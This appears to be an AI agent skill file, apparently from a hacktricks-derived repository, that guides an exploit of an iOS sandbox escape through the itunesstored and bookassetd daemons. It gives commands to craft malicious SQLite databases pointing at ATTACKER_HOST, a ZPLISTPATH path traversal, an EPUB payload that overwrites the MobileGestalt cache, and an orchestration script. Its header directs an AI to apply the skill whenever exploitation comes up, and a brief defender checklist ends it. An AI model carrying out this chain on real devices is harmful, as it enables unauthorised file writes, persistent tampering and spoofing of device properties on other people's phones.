Hacktricks-skills ios-itunesstored-bookassetd-sandbox-escape

iOS sandbox escape via itunesstored and bookassetd daemons. Use this skill whenever the user mentions iOS pentesting, sandbox escapes, itunesstored, bookassetd, AFC file access, SQLite database manipulation, or wants to exploit the downloads.28.sqlitedb/BLDatabaseManager.sqlite vulnerability chain. This works on iOS up to 26.2b1 and enables arbitrary file writes to mobile-owned paths via crafted SQLite databases and EPUB payloads.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/mobile-pentesting/ios-pentesting/itunesstored-bookassetd-sandbox-escape/SKILL.MD
source content

iOS itunesstored & bookassetd Sandbox Escape

Overview

This skill guides you through exploiting a two-stage sandbox escape in iOS that abuses

itunesstored
(downloads manager) and
bookassetd
(Books/iBooks asset manager). Both daemons blindly trust user-writable SQLite metadata, allowing arbitrary file writes to most
mobile
-owned paths in
/private/var/
.

Key capabilities:

  • Works on iOS up to at least 26.2b1 (tested on iPhone 12 / iOS 26.0.1)
  • Requires only AFC-level access (USB file copy) or any foothold allowing SQLite replacement
  • Survives reboots and enables tampering with system group caches like
    systemgroup.com.apple.mobilegestaltcache
  • Can spoof device properties or persist configuration

Prerequisites

  1. Local filesystem access to

    /var/mobile/Media/Downloads/
    and
    /var/mobile/Media/Books/
    via:

    • AFC clients (3uTools, i4.cn,
      afcclient
      )
    • Any prior compromise allowing file writes
  2. HTTP server hosting attacker files (

    BLDatabaseManager.sqlite
    ,
    iTunesMetadata.plist
    , crafted EPUB)

  3. Ability to reboot the device multiple times (each daemon reloads its database on boot)

  4. Books system-group UUID (discovered via syslog - see Stage 1)

Stage 1 – Abusing
downloads.28.sqlitedb
via
itunesstored

itunesstored
processes
/var/mobile/Media/Downloads/downloads.28.sqlitedb
. The
asset
table stores URL + destination metadata and is treated as trusted input. Crafting a row pointing to an attacker URL with
local_path
set to the Books SystemGroup causes
itunesstored
to download and overwrite the Books database on boot.

Step 1: Locate the Books SystemGroup UUID

# Collect syslog archive
pymobiledevice3 syslog collect logs.logarchive

# Open logs.logarchive in Console.app and search for:
# bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite

Record the

<UUID>
for use in the SQL payload.

Step 2: Craft the Malicious Database

Use the helper script to generate the malicious

downloads.28.sqlitedb
:

python scripts/craft_downloads_db.py \
  --uuid <BOOKS_SYSTEMGROUP_UUID> \
  --attacker-host https://ATTACKER_HOST \
  --output downloads.28.sqlitedb

Key fields in the INSERT:

  • url
    : Attacker endpoint returning malicious
    BLDatabaseManager.sqlite
  • local_path
    : Books system-group
    BLDatabaseManager.sqlite
    path
  • Control flags: Keep defaults (
    asset_type='media'
    ,
    path_extension='epub'
    )

Step 3: Deploy Stage 1

  1. Delete stale
    /var/mobile/Media/Downloads/*
    entries to avoid races
  2. Replace
    downloads.28.sqlitedb
    with the crafted DB via AFC
  3. Reboot
    itunesstored
    downloads the Stage 2 database and drops
    /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist
  4. Copy that plist to
    /var/mobile/Media/Books/iTunesMetadata.plist
    (Stage 2 expects it there)

Stage 2 – Abusing
BLDatabaseManager.sqlite
via
bookassetd

bookassetd
owns broader filesystem entitlements and trusts the
ZBLDOWNLOADINFO
table. By inserting a fake purchase row with attacker URLs and a path traversal in
ZPLISTPATH
, the daemon downloads your EPUB and unpacks metadata into any
mobile
-owned path
reachable through
../../..
escape sequences.

Step 1: Craft the Malicious Books Database

Use the helper script to generate

BLDatabaseManager.sqlite
:

python scripts/craft_books_db.py \
  --attacker-host https://ATTACKER_HOST \
  --target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \
  --output BLDatabaseManager.sqlite

Important fields:

  • ZASSETPATH
    : On-disk EPUB location (
    /var/mobile/Media/Books/asset.epub
    )
  • ZURL
    /
    ZPERMLINK
    : Attacker URLs hosting the EPUB and auxiliary plist
  • ZPLISTPATH
    : Path traversal base (e.g.,
    ../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library
    )
  • Purchase metadata: Mimic legitimate entries so the daemon accepts the row

Step 2: Deploy Stage 2

  1. The malicious DB is already in place from Stage 1
  2. Reboot
    bookassetd
    downloads
    asset.epub
    to
    /var/mobile/Media/Books/
  3. Reboot again
    bookassetd
    processes the asset, follows
    ZPLISTPATH
    , and writes EPUB contents to the targeted SystemGroup path

Crafting the EPUB Payload

bookassetd
respects the EPUB ZIP format:
mimetype
must be the first uncompressed entry. Build a directory tree mirroring the desired path relative to
ZPLISTPATH
.

Structure

Caches/
├── mimetype
└── com.apple.MobileGestalt.plist

Build the Archive

Use the helper script:

python scripts/build_epub_payload.py \
  --payload com.apple.MobileGestalt.plist \
  --output hax.epub

Or manually:

# Create directory structure
mkdir -p Caches
echo -n 'application/epub+zip' > Caches/mimetype
cp YOUR_PAYLOAD.plist Caches/com.apple.MobileGestalt.plist

# Build EPUB with correct ordering
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
  • mimetype
    : Must contain literal
    application/epub+zip
  • Caches/com.apple.MobileGestalt.plist
    : Attacker payload landing at
    .../Library/Caches/com.apple.MobileGestalt.plist

Full Orchestration Workflow

  1. Prepare files on attacker HTTP server and craft both SQLite DBs with host/UUID-specific values
  2. Replace
    downloads.28.sqlitedb
    on device and reboot → Stage 1 downloads malicious
    BLDatabaseManager.sqlite
  3. Copy
    iTunesMetadata.plist
    to
    /var/mobile/Media/Books/iTunesMetadata.plist
    (repeat if daemon deletes it)
  4. Reboot again
    bookassetd
    downloads
    asset.epub
    using Stage 2 metadata
  5. Reboot a third time
    bookassetd
    processes the asset, follows
    ZPLISTPATH
    , writes EPUB contents to target
  6. Verify by reading the overwritten plist or observing MobileGestalt-derived property changes

Use the orchestration script for automation:

bash scripts/orchestrate_attack.sh \
  --uuid <BOOKS_SYSTEMGROUP_UUID> \
  --attacker-host https://ATTACKER_HOST \
  --target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \
  --payload com.apple.MobileGestalt.plist

Tooling & Operational Notes

  • pymobiledevice3 syslog collect
    – Extract log archives to discover Books SystemGroup UUID
  • Console.app – Filter for
    bookassetd [Database]: Store is at ...
    to recover exact container path
  • AFC clients (
    afcclient
    , 3uTools, i4.cn) – Push/pull SQLite DBs and plist files over USB without jailbreak
  • zip
    – Enforce EPUB ordering constraints when packaging payloads
  • Public PoChttps://github.com/hanakim3945/bl_sbx ships baseline SQLite/EPUB templates

Detection & Mitigation

For defenders:

  • Treat
    downloads.28.sqlitedb
    and
    BLDatabaseManager.sqlite
    as untrusted input
  • Validate
    local_path
    /
    ZPLISTPATH
    stay within approved sandboxes
  • Reject fully qualified paths or traversal tokens
  • Monitor for AFC writes replacing these databases
  • Watch for unexpected downloads by
    itunesstored
    /
    bookassetd
    after boot
  • Harden
    bookassetd
    unpacking with
    realpath()
    before writing
  • Restrict AFC/USB file copy or require user interaction for metadata replacement

References